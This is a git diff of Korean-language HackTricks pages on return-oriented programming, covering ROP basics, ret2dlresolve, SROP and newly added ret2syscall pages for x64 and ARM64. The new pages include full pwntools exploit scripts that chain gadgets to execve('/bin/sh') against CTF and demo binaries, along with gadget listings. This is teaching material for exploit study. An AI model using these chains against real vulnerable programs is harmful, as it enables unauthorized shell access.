+우리의 목적을 위해, **RDI** 레지스터를 설정하고(**system()** 함수에 **"/bin/sh"** 문자열을 전달하기 위함) **system()** 함수를 호출할 수 있는 가젯에 집중해봅시다. 다음 가젯들을 식별했다고 가정해봅시다:
-- **pop rdi; ret**: 스택의 최상위 값을 **RDI**로 팝하고 반환합니다. **system()**에 대한 인수 설정에 필수적입니다.
-- **ret**: 간단한 반환으로, 일부 시나리오에서 스택 정렬에 유용합니다.
+- **pop rdi; ret**: 스택의 최상위 값을 **RDI**로 팝하고 반환합니다. **system()**에 대한 인자 설정에 필수적입니다.
+- **ret**: 간단한 반환으로, 특정 시나리오에서 스택 정렬에 유용합니다.
그리고 **system()** 함수의 주소를 알고 있다고 가정합니다.
### **ROP Chain**
-아래는 **pwntools**를 사용하여 **x64**에서 **system('/bin/sh')**을 실행하기 위한 ROP 체인을 설정하고 실행하는 예시입니다:
+아래는 **pwntools**를 사용하여 **x64**에서 **system('/bin/sh')**를 실행하기 위한 ROP 체인을 설정하고 실행하는 예시입니다:
```python
from pwn import *
@@ -139,12 +139,12 @@ p.interactive()
```
### 스택 정렬
-**x86-64 ABI**는 **call 명령어**가 실행될 때 **스택이 16바이트 정렬**되어 있음을 보장합니다. **LIBC**는 성능을 최적화하기 위해 **SSE 명령어**(예: **movaps**)를 사용하는데, 이는 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면 (**RSP**가 16의 배수가 아닌 경우) **system**과 같은 함수 호출이 **ROP chain**에서 실패할 수 있습니다. 이를 해결하기 위해 ROP chain에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다.
+**x86-64 ABI**는 **call 명령어**가 실행될 때 **스택이 16바이트 정렬**되어 있음을 보장합니다. **LIBC**는 성능을 최적화하기 위해 **SSE 명령어**(예: **movaps**)를 사용하는데, 이는 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면(**RSP**가 16의 배수가 아닌 경우), **system**과 같은 함수 호출이 **ROP chain**에서 실패할 수 있습니다. 이를 해결하기 위해 ROP chain에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다.
## x86 대 x64 주요 차이점
{% hint style="success" %}
-**x64는 처음 몇 개의 인수에 레지스터를 사용**하기 때문에 간단한 함수 호출에는 x86보다 적은 수의 가젯이 필요하지만, 올바른 가젯을 찾고 연결하는 것은 레지스터 수의 증가와 주소 공간의 확대로 인해 더 복잡할 수 있습니다. **x64** 아키텍처의 증가한 레지스터 수와 주소 공간은 주로 Return-Oriented Programming (ROP)의 맥락에서 exploit 개발에 대한 기회와 도전을 제공합니다.
+**x64는 처음 몇 개의 인수에 레지스터를 사용**하기 때문에 간단한 함수 호출에는 x86보다 적은 수의 가젯이 필요하지만, 올바른 가젯을 찾고 연결하는 것은 레지스터 수가 증가하고 주소 공간이 더 커지기 때문에 더 복잡할 수 있습니다. **x64** 아키텍처의 증가한 레지스터 수와 더 큰 주소 공간은 주로 Return-Oriented Programming (ROP)의 맥락에서 취약점 개발에 대한 기회와 도전을 제공합니다.
{% endhint %}
## ARM64 예제의 ROP chain
@@ -159,15 +159,15 @@ p.interactive()
## ROP에 대한 보호
-* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **및** [**PIE**](../common-binary-protections-and-bypasses/pie/): 이러한 보호 기능은 가젯의 주소가 실행 사이에 변경되므로 ROP 사용이 어려워집니다.
-* [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/): BOF의 경우, ROP chain을 악용하기 위해 저장된 스택 카나리를 우회하여 반환 포인터를 덮어쓰는 것이 필요합니다.
+* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): 이러한 보호 기능은 가젯의 주소가 실행 사이에 변경되므로 ROP 사용이 어려워집니다.
+* [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/): BOF에서는 ROP chain을 악용하기 위해 저장된 스택 카나리를 우회하여 반환 포인터를 덮어쓰는 것이 필요합니다.
* **가젯 부족**: 충분한 가젯이 없으면 ROP chain을 생성할 수 없습니다.
## ROP 기반 기술
ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 알아두세요. ROP를 기반으로 한 Ret2XXX 기술이 개발되었습니다:
-* **Ret2lib**: 로드된 라이브러리에서 임의의 매개변수(일반적으로 `system('/bin/sh')`와 같은 것)로 임의의 함수를 호출하기 위해 ROP를 사용합니다.
+* **Ret2lib**: 로드된 라이브러리에서 임의의 매개변수(일반적으로 `system('/bin/sh')`와 같은 것)를 사용하여 임의의 함수를 호출하기 위해 ROP를 사용합니다.
{% content-ref url="ret2lib/" %}
[ret2lib](ret2lib/)
@@ -175,11 +175,11 @@ ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 알아두세
* **Ret2Syscall**: 시스템 호출(e.g. `execve`)을 준비하고 임의의 명령을 실행하기 위해 ROP를 사용합니다.
-{% content-ref url="rop-syscall-execv.md" %}
-[rop-syscall-execv.md](rop-syscall-execv.md)
+{% content-ref url="rop-syscall-execv/" %}
+[rop-syscall-execv](rop-syscall-execv/)
{% endcontent-ref %}
-* **EBP2Ret 및 EBP Chaining**: 첫 번째는 EIP 대신 EBP를 악용하여 흐름을 제어하고, 두 번째는 Ret2lib과 유사하지만 이 경우 흐름은 주로 EBP 주소로 제어됩니다(물론 EIP를 제어해야 합니다).
+* **EBP2Ret 및 EBP Chaining**: 첫 번째는 EIP 대신 EBP를 악용하여 흐름을 제어하고, 두 번째는 Ret2lib과 유사하지만 여기서는 주로 EBP 주소를 통해 흐름을 제어합니다(물론 EIP를 제어해야 합니다).
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %}
[stack-pivoting-ebp2ret-ebp-chaining.md](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
@@ -189,6 +189,6 @@ ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 알아두세
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
-* 64비트, Pie 및 nx 활성화, 카나리 없음, `vsyscall` 주소로 RIP를 덮어쓰고 스택에서 다음 주소로 반환하여 플래그를 노출하는 함수의 일부를 얻기 위해 주소의 일부를 덮어쓰는 것
+* 64비트, Pie 및 nx 활성화, 카나리 없음, `vsyscall` 주소로 RIP 덮어쓰기, 스택에서 함수의 일부를 노출하는 주소의 일부를 얻기 위해 스택의 다음 주소로 반환하는 것이 목적
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
-* arm64, ASLR 없음, ROP 가젯을 사용하여 스택을 실행 가능하게 만들고 스택 내의 셸코드로 이동
+* arm64, ASLR 없음, ROP 가젯을 사용하여 스택을 실행 가능하게 만들고 스택에서 셸코드로 이동
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
index da2c525fd..b3e5765c0 100644
--- a/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
@@ -9,8 +9,8 @@ HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **해킹 기술을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
+* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
@@ -22,10 +22,10 @@ HackTricks를 지원하는 다른 방법:
따라서 **모든 이러한 구조를 가짜로 만들어** 요청된 심볼(예: **`system`** 함수)을 동적으로 연결하여 구성된 매개변수(예: **`system('/bin/sh')`**)로 호출할 수 있습니다.
-보통, **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어** 모든 이러한 구조 및 문자열 **`'/bin/sh'`**이 전달되어 알려진 위치에 읽혀 저장되도록 만들고, 그런 다음 ROP 체인이 계속되어 **`_dl_runtime_resolve`**를 호출하여 가짜 구조에서 **`system`**의 주소를 해결하고 이 주소를 **`'/bin/sh'`** 주소와 함께 호출합니다.
+보통, 이러한 모든 구조는 **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어** 가짜 구조 및 문자열 **`'/bin/sh'`**이 전달되어 알려진 위치에 읽혀지도록 만들고, 그런 다음 ROP 체인이 계속되어 **`_dl_runtime_resolve`**를 호출하여 가짜 구조에서 **`system`**의 주소를 해결하고 이 주소를 **`'/bin/sh'`** 주소와 함께 호출합니다.
{% hint style="success" %}
-이 기술은 특히 시스템 호출 가젯이 없거나([**ret2syscall**](rop-syscall-execv.md) 또는 [SROP](srop-sigreturn-oriented-programming.md)와 같은 기술을 사용하는 방법이 없을 때) libc 주소를 노출시킬 방법이 없을 때 유용합니다.
+이 기술은 특히 시스템 호출 가젯(예: [**ret2syscall**](rop-syscall-execv/) 또는 [SROP](srop-sigreturn-oriented-programming.md)와 같은 기술을 사용할 수 없는 경우 및 libc 주소를 노출할 수 있는 방법이 없는 경우에 유용합니다.
{% endhint %}
이 기술에 대한 더 나은 설명은 다음 비디오의 후반부에서 찾을 수 있습니다:
@@ -34,21 +34,21 @@ HackTricks를 지원하는 다른 방법:
## 구조
-**`JMPREL`**, **`STRTAB`**, **`SYMTAB`** 3가지 구조를 가짜로 만들어야 합니다. 이러한 구조가 어떻게 구축되는지에 대한 더 나은 설명은 [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)에서 확인할 수 있습니다.
+**`JMPREL`**, **`STRTAB`**, **`SYMTAB`** 3가지 구조를 가짜로 만들어야 합니다. 이러한 구조가 어떻게 구축되는지에 대한 더 나은 설명은 [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)에서 찾을 수 있습니다.
## 공격 요약
1. 어딘가에 가짜 구조를 작성합니다.
-2. system의 첫 번째 인수를 설정합니다(`$rdi = &'/bin/sh'`).
-3. **`_dl_runtime_resolve`**를 호출하기 위해 스택에 구조체 주소를 설정합니다.
+2. 시스템의 첫 번째 인수를 설정합니다(`$rdi = &'/bin/sh'`).
+3. 스택에 구조체를 호출하기 위한 주소를 설정하여 **`_dl_runtime_resolve`**를 호출합니다.
4. **`_dl_runtime_resolve`**를 호출합니다.
-5. **`system`**이 해결되고 `'/bin/sh'`가 인수로 호출됩니다.
+5. **`system`**이 해결되어 `'/bin/sh'`를 인수로 호출됩니다.
-## 예시
+## 예
### 순수 Pwntools
-[**이 기술의 예시를 여기에서 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **최종 ROP 체인에 대한 매우 좋은 설명이 포함**되어 있지만, 여기서 사용된 최종 악용은 다음과 같습니다:
+[**이 기술의 예제를 여기에서 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **최종 ROP 체인에 대한 매우 좋은 설명이 포함**되어 있지만, 여기서 사용된 최종 악용은 다음과 같습니다:
```python
from pwn import *
@@ -178,4 +178,4 @@ target.interactive()
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
-* 32비트, relro 없음, 캐너리 없음, nx, pie 없음, 기본적인 작은 버퍼 오버플로우 및 리턴. 이를 악용하기 위해 bof를 사용하여 `.bss` 섹션과 더 큰 크기로 다시 `read`를 호출하여 `dlresolve` 가짜 테이블을 로드하고 `system`을 로드하고 메인으로 반환한 다음 초기 bof를 다시 악용하여 dlresolve를 호출하고 `system('/bin/sh')`를 실행합니다.
+* 32비트, relro 없음, 캐너리 없음, nx, pie 없음, 기본적인 작은 버퍼 오버플로우 및 리턴. 이를 악용하기 위해 bof를 사용하여 `.bss` 섹션과 더 큰 크기로 다시 `read`를 호출하여 `dlresolve` 가짜 테이블을 로드하고 `system`을 실행하고 메인으로 돌아가 초기 bof를 다시 악용하여 dlresolve를 호출하고 `system('/bin/sh')`를 실행합니다.
diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
new file mode 100644
index 000000000..a9fcd6700
--- /dev/null
+++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
@@ -0,0 +1,192 @@
+# Ret2syscall
+
+
+
+htARTE (HackTricks AWS Red Team 전문가)에서 **제로부터 영웅까지 AWS 해킹 배우기**
+
+HackTricks를 지원하는 다른 방법:
+
+* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
+* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
+* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
+
+
+
+## 기본 정보
+
+이것은 Ret2lib와 유사하지만, 이 경우에는 라이브러리에서 함수를 호출하지 않을 것입니다. 이 경우에는 `sys_execve` 시스템 호출을 호출하기 위해 일부 인수로 `/bin/sh`를 실행하기 위해 모든 것이 준비될 것입니다. 이 기술은 일반적으로 정적으로 컴파일된 이진 파일에서 수행되며, 많은 가젯과 시스템 호출 명령이 있을 수 있습니다.
+
+**시스템 호출**을 준비하기 위해 다음 구성이 필요합니다:
+
+* `rax: 59 sys_execve 지정`
+* `rdi: "/bin/sh"를 가리키는 포인터 실행할 파일 지정`
+* `rsi: 0 전달된 인수 없음 지정`
+* `rdx: 0 전달된 환경 변수 없음 지정`
+
+따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 쓰고, 그 다음 `syscall`을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 고려하면서). 이를 위해 알려진 영역에 `/bin/sh`를 쓸 가젯이 필요합니다.
+
+{% hint style="success" %}
+호출할 다른 흥미로운 시스템 호출은 **`mprotect`**이며, 이를 통해 공격자가 **메모리의 페이지 권한을 수정**할 수 있습니다. 이는 [**ret2shellcode**](../../stack-overflow/stack-shellcode/)와 결합할 수 있습니다.
+{% endhint %}
+
+## 레지스터 가젯
+
+**이 레지스터를 제어하는 방법**을 찾아봅시다:
+```bash
+ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
+0x0000000000415664 : pop rax ; ret
+0x0000000000400686 : pop rdi ; ret
+0x00000000004101f3 : pop rsi ; ret
+0x00000000004498b5 : pop rdx ; ret
+```
+이 주소들을 사용하면 **스택에 내용을 작성하고 레지스터에로드**할 수 있습니다.
+
+## 문자열 작성
+
+### 쓰기 가능한 메모리
+
+먼저 메모리에서 쓰기 가능한 위치를 찾아야합니다.
+```bash
+gef> vmmap
+[ Legend: Code | Heap | Stack ]
+Start End Offset Perm Path
+0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
+0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
+0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
+```
+### 메모리에 문자열 작성
+
+그런 다음이 주소에 임의의 내용을 작성하는 방법을 찾아야합니다.
+```python
+ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
+mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
+```
+### ROP 체인 자동화
+
+다음 명령어는 쓰기-무엇을-어디에 가젯과 시스콜 명령어가 있는 정적 이진 파일에서 완전한 `sys_execve` ROP 체인을 생성합니다:
+```bash
+ROPgadget --binary vuln --ropchain
+```
+#### 32 비트
+```python
+'''
+Lets write "/bin/sh" to 0x6b6000
+
+pop rdx, 0x2f62696e2f736800
+pop rax, 0x6b6000
+mov qword ptr [rax], rdx
+'''
+
+rop += popRdx # place value into EAX
+rop += "/bin" # 4 bytes at a time
+rop += popRax # place value into edx
+rop += p32(0x6b6000) # Writable memory
+rop += writeGadget #Address to: mov qword ptr [rax], rdx
+
+rop += popRdx
+rop += "//sh"
+rop += popRax
+rop += p32(0x6b6000 + 4)
+rop += writeGadget
+```
+#### 64 비트
+```python
+'''
+Lets write "/bin/sh" to 0x6b6000
+
+pop rdx, 0x2f62696e2f736800
+pop rax, 0x6b6000
+mov qword ptr [rax], rdx
+'''
+rop = ''
+rop += popRdx
+rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
+rop += popRax
+rop += p64(0x6b6000) # Writable memory
+rop += writeGadget #Address to: mov qword ptr [rax], rdx
+```
+## 부족한 가젯
+
+만약 메모리에 `/bin/sh`를 작성할 가젯이 **부족한 경우**, **SROP 기술을 사용하여 스택에서 모든 레지스터 값(포함하여 RIP 및 매개변수 레지스터)을 제어**할 수 있습니다:
+
+{% content-ref url="../srop-sigreturn-oriented-programming.md" %}
+[srop-sigreturn-oriented-programming.md](../srop-sigreturn-oriented-programming.md)
+{% endcontent-ref %}
+
+## 공격 예제
+```python
+from pwn import *
+
+target = process('./speedrun-001')
+#gdb.attach(target, gdbscript = 'b *0x400bad')
+
+# Establish our ROP Gadgets
+popRax = p64(0x415664)
+popRdi = p64(0x400686)
+popRsi = p64(0x4101f3)
+popRdx = p64(0x4498b5)
+
+# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
+writeGadget = p64(0x48d251)
+
+# Our syscall gadget
+syscall = p64(0x40129c)
+
+'''
+Here is the assembly equivalent for these blocks
+write "/bin/sh" to 0x6b6000
+
+pop rdx, 0x2f62696e2f736800
+pop rax, 0x6b6000
+mov qword ptr [rax], rdx
+'''
+rop = ''
+rop += popRdx
+rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
+rop += popRax
+rop += p64(0x6b6000)
+rop += writeGadget
+
+'''
+Prep the four registers with their arguments, and make the syscall
+
+pop rax, 0x3b
+pop rdi, 0x6b6000
+pop rsi, 0x0
+pop rdx, 0x0
+
+syscall
+'''
+
+rop += popRax
+rop += p64(0x3b)
+
+rop += popRdi
+rop += p64(0x6b6000)
+
+rop += popRsi
+rop += p64(0)
+rop += popRdx
+rop += p64(0)
+
+rop += syscall
+
+
+# Add the padding to the saved return address
+payload = "0"*0x408 + rop
+
+# Send the payload, drop to an interactive shell to use our new shell
+target.sendline(payload)
+
+target.interactive()
+```
+## 기타 예제 및 참고 자료
+
+* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
+* 64비트, PIE 없음, nx, 메모리에 `execve`를 호출하고 거기로 이동하는 ROP 작성.
+* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
+* 64비트, nx, PIE 없음, 메모리에 `execve`를 호출하고 거기로 이동하는 ROP 작성. 수학 연산을 수행하는 함수를 스택에 쓰기 위해 남용됨.
+* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
+* 64비트, PIE 없음, nx, BF canary, 메모리에 `execve`를 호출하고 거기로 이동하는 ROP 작성.
diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
new file mode 100644
index 000000000..8bfc7dcc0
--- /dev/null
+++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
@@ -0,0 +1,139 @@
+# Ret2syscall - ARM64
+
+
+
+htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!
+
+HackTricks를 지원하는 다른 방법:
+
+* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
+* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
+* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+
+
+
+[arm64 기본 어셈블리](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)에서 arm64에 대한 소개를 찾을 수 있습니다.
+
+## 코드
+
+다음 페이지의 예제를 사용할 것입니다:
+
+[ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md)
+```c
+#include
+#include
+
+void win() {
+printf("Congratulations!\n");
+}
+
+void vulnerable_function() {
+char buffer[64];
+read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
+}
+
+int main() {
+vulnerable_function();
+return 0;
+}
+```
+파이(Pie)와 캐너리(Canary) 없이 컴파일하기:
+```bash
+clang -o ret2win ret2win.c -fno-stack-protector
+```
+## 가젯
+
+**syscall**을 호출하기 위해 다음 구성이 필요합니다:
+
+- `x8: 221 sys_execve 지정`
+- `x0: "/bin/sh"을 가리키는 포인터 실행할 파일 지정`
+- `x1: 0 전달된 인수 없음 지정`
+- `x2: 0 전달된 환경 변수 없음 지정`
+
+ROPgadget.py를 사용하여 다음 가젯을 찾을 수 있었습니다:
+
+{% code overflow="wrap" %}
+```armasm
+;Load x0, x1 and x3 from stack and x5 and call x5
+0x0000000000114c30:
+ldp x3, x0, [sp, #8] ;
+ldp x1, x4, [sp, #0x18] ;
+ldr x5, [sp, #0x58] ;
+ldr x2, [sp, #0xe0] ;
+blr x5
+
+;Move execve syscall (0xdd) to x8 and call it
+0x00000000000bb97c :
+nop ;
+nop ;
+mov x8, #0xdd ;
+svc #0
+```
+{% endcode %}
+
+이전 가젯을 사용하여 스택에서 필요한 모든 레지스터를 제어하고 x5를 사용하여 시스템 호출을 수행하는 두 번째 가젯으로 이동할 수 있습니다.
+
+### Exploit
+```python
+from pwn import *
+
+p = process('./ret2syscall')
+elf = context.binary = ELF('./ret2syscall')
+libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
+libc.address = 0x0000fffff7df0000 # ASLR disabled
+binsh = next(libc.search(b"/bin/sh"))
+
+stack_offset = 72
+
+#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
+load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
+
+# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
+call_execve = libc.address + 0xbb97c
+
+print("/bin/sh in: " + hex(binsh))
+print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
+print("call_execve in: " + hex(call_execve))
+
+# stack offset
+bof = b"A" * (stack_offset)
+bof += p64(load_x0_x1_x2)
+
+# ldp x3, x0, [sp, #8]
+rop = b"BBBBBBBBBBBBBBBB" #x3
+rop += p64(binsh) #x0
+
+# ldp x1, x4, [sp, #0x18]
+rop += b"C"*(0x18 - len(rop))
+rop += p64(0x00) # x1
+rop += b"CCCCCCCC" #x4
+
+# ldr x5, [sp, #0x58]
+rop += b"D"*(0x58 - len(rop))
+rop += p64(call_execve) # x5
+
+# ldr x2, [sp, #0xe0]
+rop += b"E" * (0xe0 - len(rop))
+rop += p64(0x00) # x2
+
+payload = bof + rop
+
+p.sendline(payload)
+
+p.interactive()
+```
+
+
+htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요
+
+다른 방법으로 HackTricks를 지원하는 방법:
+
+* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
+* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
+* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
+* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+
+
diff --git a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md
index d20f0eaf3..63b430e87 100644
--- a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md
+++ b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md
@@ -1,38 +1,38 @@
-# SROP - 시그리턴 지향 프로그래밍
+# SROP - Sigreturn-Oriented Programming
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**
+htARTE (HackTricks AWS Red Team 전문가)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!
HackTricks를 지원하는 다른 방법:
-* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
+- **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
+- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
+- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
+- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
## 기본 정보
